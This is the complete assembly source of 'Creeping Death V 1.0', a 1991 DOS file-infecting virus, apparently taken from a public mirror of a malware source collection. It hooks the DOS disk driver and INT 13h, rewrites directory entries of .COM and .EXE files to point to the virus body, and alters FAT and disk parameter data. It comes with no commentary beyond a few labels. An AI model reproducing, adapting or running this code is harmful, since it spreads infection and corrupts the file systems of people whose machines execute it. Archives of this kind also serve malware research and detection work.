mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
486 lines
9.7 KiB
NASM
486 lines
9.7 KiB
NASM
; Creeping Death V 1.0
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;
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; (C) Copyright 1991 by VirusSoft Corp.
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i13org = 5f8h
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i21org = 5fch
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org 100h
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mov sp,600h
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inc counter
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xor cx,cx
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mov ds,cx
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lds ax,[0c1h]
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add ax,21h
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push ds
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push ax
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mov ah,30h
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call jump
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cmp al,4
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sbb si,si
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mov drive+2,byte ptr -1
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mov bx,60h
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mov ah,4ah
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call jump
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mov ah,52h
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call jump
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push es:[bx-2]
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lds bx,es:[bx]
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search: mov ax,[bx+si+15h]
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cmp ax,70h
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jne next
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xchg ax,cx
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mov [bx+si+18h],byte ptr -1
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mov di,[bx+si+13h]
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mov [bx+si+13h],offset header
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mov [bx+si+15h],cs
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next: lds bx,[bx+si+19h]
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cmp bx,-1
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jne search
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jcxz install
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pop ds
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mov ax,ds
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add ax,[3]
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inc ax
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mov dx,cs
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dec dx
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cmp ax,dx
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jne no_boot
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add [3],61h
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no_boot: mov ds,dx
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mov [1],8
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mov ds,cx
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les ax,[di+6]
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mov cs:str_block,ax
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mov cs:int_block,es
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cld
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mov si,1
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scan: dec si
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lodsw
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cmp ax,1effh
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jne scan
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mov ax,2cah
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cmp [si+4],ax
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je right
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cmp [si+5],ax
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jne scan
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right: lodsw
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push cs
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pop es
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mov di,offset modify+1
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stosw
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xchg ax,si
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mov di,offset i13org
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cli
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movsw
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movsw
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mov dx,0c000h
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fdsk1: mov ds,dx
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xor si,si
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lodsw
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cmp ax,0aa55h
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jne fdsk4
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cbw
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lodsb
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mov cl,9
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sal ax,cl
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fdsk2: cmp [si],6c7h
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jne fdsk3
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cmp [si+2],4ch
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jne fdsk3
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push dx
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push [si+4]
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jmp short death
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install: int 20h
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file: db "c:",255,0
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fdsk3: inc si
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cmp si,ax
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jb fdsk2
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fdsk4: inc dx
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cmp dh,0f0h
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jb fdsk1
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sub sp,4
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death: push cs
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pop ds
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mov bx,[2ch]
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mov es,bx
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mov ah,49h
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call jump
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xor ax,ax
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test bx,bx
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jz boot
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mov di,1
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seek: dec di
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scasw
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jne seek
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lea si,[di+2]
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jmp short exec
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boot: mov es,[16h]
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mov bx,es:[16h]
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dec bx
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xor si,si
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exec: push bx
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mov bx,offset param
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mov [bx+4],cs
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mov [bx+8],cs
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mov [bx+12],cs
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pop ds
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push cs
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pop es
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mov di,offset f_name
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push di
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mov cx,40
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rep movsw
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push cs
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pop ds
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mov ah,3dh
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mov dx,offset file
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call jump
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pop dx
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mov ax,4b00h
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call jump
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mov ah,4dh
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call jump
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mov ah,4ch
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jump: pushf
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call dword ptr cs:[i21org]
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ret
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;--------Installation complete
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i13pr: mov ah,3
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jmp dword ptr cs:[i13org]
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main: push ax ; driver
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push cx ; strategy block
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push dx
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push ds
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push si
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push di
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push es
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pop ds
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mov al,[bx+2]
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cmp al,4 ; Input
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je input
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cmp al,8
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je output
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cmp al,9
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je output
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call in
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cmp al,2 ; Build BPB
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jne ppp ;
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lds si,[bx+12h]
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mov di,offset bpb_buf
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mov es:[bx+12h],di
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mov es:[bx+14h],cs
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push es
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push cs
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pop es
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mov cx,16
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rep movsw
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pop es
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push cs
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pop ds
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mov al,[di+2-32]
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cmp al,2
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adc al,0
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cbw
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cmp [di+8-32],0
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je m32
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sub [di+8-32],ax
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jmp short ppp
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m32: sub [di+15h-32],ax
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sbb [di+17h-32],0
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ppp: pop di
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pop si
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pop ds
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pop dx
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pop cx
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pop ax
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rts: retf
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output: mov cx,0ff09h
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call check
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jz inf_sec
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call in
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jmp short inf_dsk
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inf_sec: jmp _inf_sec
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read: jmp _read
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read_: add sp,16
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jmp short ppp
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input: call check
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jz read
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inf_dsk: mov byte ptr [bx+2],4
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cld
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lea si,[bx+0eh]
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mov cx,8
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save: lodsw
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push ax
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loop save
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mov [bx+14h],1
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call driver
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jnz read_
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mov byte ptr [bx+2],2
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call in
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lds si,[bx+12h]
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mov ax,[si+6]
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add ax,15
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mov cl,4
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shr ax,cl
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mov di,[si+0bh]
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add di,di
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stc
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adc di,ax
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push di
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cwd
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mov ax,[si+8]
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test ax,ax
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jnz more
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mov ax,[si+15h]
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mov dx,[si+17h]
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more: xor cx,cx
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sub ax,di
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sbb dx,cx
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mov cl,[si+2]
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div cx
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cmp cl,2
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sbb ax,-1
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push ax
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call convert
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mov byte ptr es:[bx+2],4
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mov es:[bx+14h],ax
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call driver
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again: lds si,es:[bx+0eh]
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add si,dx
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sub dh,cl
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adc dx,ax
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mov cs:gad+1,dx
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cmp cl,1
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je small
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mov ax,[si]
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and ax,di
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cmp ax,0fff7h
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je bad
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cmp ax,0ff7h
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je bad
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cmp ax,0ff70h
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jne ok
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bad: pop ax
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dec ax
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push ax
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call convert
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jmp short again
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small: not di
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and [si],di
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pop ax
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push ax
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inc ax
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push ax
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mov dx,0fh
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test di,dx
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jz here
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inc dx
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mul dx
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here: or [si],ax
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pop ax
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call convert
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mov si,es:[bx+0eh]
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add si,dx
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mov ax,[si]
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and ax,di
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ok: mov dx,di
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dec dx
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and dx,di
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not di
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and [si],di
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or [si],dx
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cmp ax,dx
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pop ax
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pop di
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mov cs:pointer+1,ax
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je _read_
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mov dx,[si]
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push ds
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push si
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call write
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pop si
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pop ds
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jnz _read_
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call driver
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cmp [si],dx
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jne _read_
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dec ax
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dec ax
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mul cx
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add ax,di
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adc dx,0
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push es
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pop ds
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mov [bx+12h],2
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mov [bx+14h],ax
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test dx,dx
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jz less
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mov [bx+14h],-1
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mov [bx+1ah],ax
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mov [bx+1ch],dx
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less: mov [bx+10h],cs
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mov [bx+0eh],100h
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call write
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_read_: std
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lea di,[bx+1ch]
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mov cx,8
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load: pop ax
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stosw
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loop load
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_read: call in
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mov cx,9
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_inf_sec:
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mov di,es:[bx+12h]
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lds si,es:[bx+0eh]
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sal di,cl
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xor cl,cl
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add di,si
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xor dl,dl
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push ds
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push si
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call find
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jcxz no_inf
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call write
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and es:[bx+4],byte ptr 07fh
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no_inf: pop si
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pop ds
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inc dx
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call find
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jmp ppp
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;--------Subroutines
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find: mov ax,[si+8]
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cmp ax,"XE"
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jne com
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cmp [si+10],al
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je found
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com: cmp ax,"OC"
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jne go_on
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cmp byte ptr [si+10],"M"
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jne go_on
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found: test [si+1eh],0ffc0h ; >4MB
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jnz go_on
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test [si+1dh],03ff8h ; <2048B
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jz go_on
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test [si+0bh],byte ptr 1ch
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jnz go_on
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test dl,dl
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jnz rest
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pointer: mov ax,1234h
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cmp ax,[si+1ah]
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je go_on
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xchg ax,[si+1ah]
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gad: xor ax,1234h
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mov [si+14h],ax
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loop go_on
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rest: xor ax,ax
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xchg ax,[si+14h]
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xor ax,cs:gad+1
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mov [si+1ah],ax
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go_on: ;rol cs:gad+1,1
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db 2eh,0d1h,6
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dw offset gad+1
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add si,32
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cmp di,si
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jne find
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ret
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check: mov ah,[bx+1]
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drive: cmp ah,-1
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mov cs:[drive+2],ah
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jne changed
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push [bx+0eh]
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mov byte ptr [bx+2],1
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call in
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cmp byte ptr [bx+0eh],1
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pop [bx+0eh]
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mov [bx+2],al
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changed: ret
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write: cmp byte ptr es:[bx+2],8
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jae in
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mov byte ptr es:[bx+2],4
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mov si,70h
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mov ds,si
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modify: mov si,1234h
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push [si]
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push [si+2]
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mov [si],offset i13pr
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mov [si+2],cs
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call in
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pop [si+2]
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pop [si]
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ret
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driver: mov es:[bx+12h],1
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in:
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db 09ah
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str_block:
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dw ?,70h
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db 09ah
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int_block:
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dw ?,70h
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test es:[bx+4],byte ptr 80h
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ret
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convert: cmp ax,0ff0h
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jae fat_16
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mov si,3
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xor cs:[si+gad-1],si
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mul si
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shr ax,1
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mov di,0fffh
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jnc cont
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mov di,0fff0h
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jmp short cont
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fat_16: mov si,2
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mul si
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mov di,0ffffh
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cont: mov si,512
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div si
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header: inc ax
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ret
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counter: dw 0
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dw 842h
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dw offset main
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dw offset rts
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db 7fh
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param: dw 0,80h,?,5ch,?,6ch,?
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bpb_buf: db 32 dup(?)
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f_name: db 80 dup(?)
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;--------The End.
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